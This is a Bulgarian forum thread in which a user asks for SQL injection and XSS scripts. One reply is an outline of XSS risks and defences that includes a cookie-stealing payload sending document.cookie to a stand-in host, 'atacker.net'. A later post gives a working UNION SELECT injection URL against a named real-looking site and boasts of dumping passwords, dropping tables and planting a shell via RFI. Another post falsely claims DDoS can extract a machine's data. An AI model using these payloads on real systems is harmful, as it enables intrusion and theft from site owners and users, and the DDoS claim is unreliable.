sql injection и xss attack

vitorio

Registered
sql injection и xss attack за какво се използват примерни скриптове как се правят и общо взето всичко за тях и да има примери ...
 
http://forums.bgdev.org/index.php?showtopic=14641
http://www.webmasterbg.org/showthread.php?t=682
http://mytech.bg/t_uroci/13072/sql+injection
http://chzv.net/security/sql-injection-2
 
Cross Site Scripting (XSS) атаки

- Въведение
* динамични уеб сайтове
* данни получавани от потребители
* данни показвани на сайтовете

- Какво е Cross Site Scripting (XSS)
- Защо XSS, а не CSS?
* Най-просто казано - за да не се бърка с
Cascading Style Sheets

- Минимални изисквания за да се стартира XSS атака
* Web приложение, което показва данни
директно въведени от потребителите без
необходимото филтриране или коректна
трансформация
* Ако атаката се провежда чрез JavaScript
VBScript, ActiveX браузер, който поддържа
някоя от тези технологии
* HTML injection атака работи със всички
браузери

- До какво може да доведе една XSS атака
* Крадене на акаунти, промяна на потребителски
настройки, крадене на cookie-та, подправяне
на cookie-та, непозволено рекламиране, Denial
of Services атаки, използване на клиента като
трамплин за атака на други сайтове и т.н.
* Използване на FORM за крадене на информация
(подвеждане на потребителя ако ползва SSL)
* Добиване на достъп до данни до който атакуващият
няма права
* Единственото ограничение е въображението на
атакуващият.

- Специални символи в HTML
< > & %

- Адресни схеми
- http://
- ftp://
- file:
- javascript:

- Примери за XSS атаки
* Всяко приложението което не филтрира HTML тагове
е уязвимо към вмъкване на фалшив HTML код (div + css).
* Всяко приложение което позволява вмъкването на
<SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>
таговете е уязвимо към вмъкване на опасен код.
* Параметрите на HTML таговете също могат да бъдат
използвани за вмъкване на опасен код:
- В параметъра style може да се използва eval()
конструкция за да се вмъкне JavaScript код
- могат да се добавят event handlers, в който
има JavaScript код (пример: onMouseOver,
onClick)
* Възможността за вмъкване на кавички " в хипер
връзки води до атаката върху параметрите на HTML
таговете
* Неправилна работа с Character encodings и html
entities

<img src="http://example.org/user.asp?name=<script>document.location.replace('http://atacker.net/steal.cgi?'+document.cookie);</script>">

- Защити за потребителите
Никоя от защити не е 100% ефективна. Някои от
възможните защити са:
* Same origin policy (работи винаги)
* Изключване на JavaScript и ActiveX
* В Mozilla - забрана за достъп до cookie от JS
* В Mozilla - забрана за промяна на status bar
* Избягване на безразборно кликане по връзки
* За важните сайтове не разчитайте на връзки или bookmarks.
Въвеждайте си ги на ръка в полето за адрес на броузера.

- Защити приложени от програмистите на уеб приложения
* Подсигуряване че динамично генерираните страници не
съдържат потребителски данни, който не са проверени
* твърдо оказване на character set-а, който ползва
страницата
* Използвайте POST, не GET във формите
* Използване на HTTP ONLY cookie-та

- Защити приложени от администраторите
* обновяване на уеб сървърите, който позволяват XSS
атаки да се провеждат през страниците за грешки на
самите сървъри.

- Връзки за повече информация:
http://www.technicalinfo.net/papers/CSS.html
http://www.technicalinfo.net/papers/URLEmbeddedAttacks.html
http://www.cgisecurity.net/articles/xss-faq.shtml
http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/cross-site-malicious-content.html
 
тва хубаво ама по интерестно как се правят скриптове и дай линк ...
 
ми филтрираш въведената информация с trim, addslashes, htmlspacialchars, stripslashes и други.

Edit: Някои методи не бива да се използват заедно :)
 
абе хора кой от вас е хаквал сайт за да хакнеш трябва първо да си наясно с име на БД, таблици ПХП файлове в които да пуснеш инжекции и т.н. което не е много лесно
 
ivo75 каза:
абе хора кой от вас е хаквал сайт за да хакнеш трябва първо да си наясно с име на БД, таблици ПХП файлове в които да пуснеш инжекции и т.н. което не е много лесно

Най-често се хаква сайт с SQL Injection, но след като се DDOS-не системата. Може с DDOS да се изведе всичко като информация, което се намира на дадена машина. .... не е нужно само да имаш познания по PHP и SQL-ите. Има много начини, но трябва да си болен тип за да правиш мизерии.....
 
ivo75 каза:
абе хора кой от вас е хаквал сайт за да хакнеш трябва първо да си наясно с име на БД, таблици ПХП файлове в които да пуснеш инжекции и т.н. което не е много лесно
oceniteli.net page.php?p=news_info&id=0 UNION SELECT 1,1,COLUMN_NAME,TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS

Още ли мислиш, че трябва да съм наясно с базата данни? Не се притеснявам да дам линка, защото може само да се източи малко информация, нищо лошо :)
Има много начини по които можеш да хакнеш сайт, SQL Injection е единия по който можеш да се докопаш до пароли или да дропнеш някоя друга таблица. Ако пък е възможно RFI буташ 1 шел и от там можеш да манипулираш файловете, да вземеш име и парола за SQL... и да сринеш сайта тотално. Та има си методи за защита с които можеш да откажеш тези които се опитват да я пробият
 

Back
Горе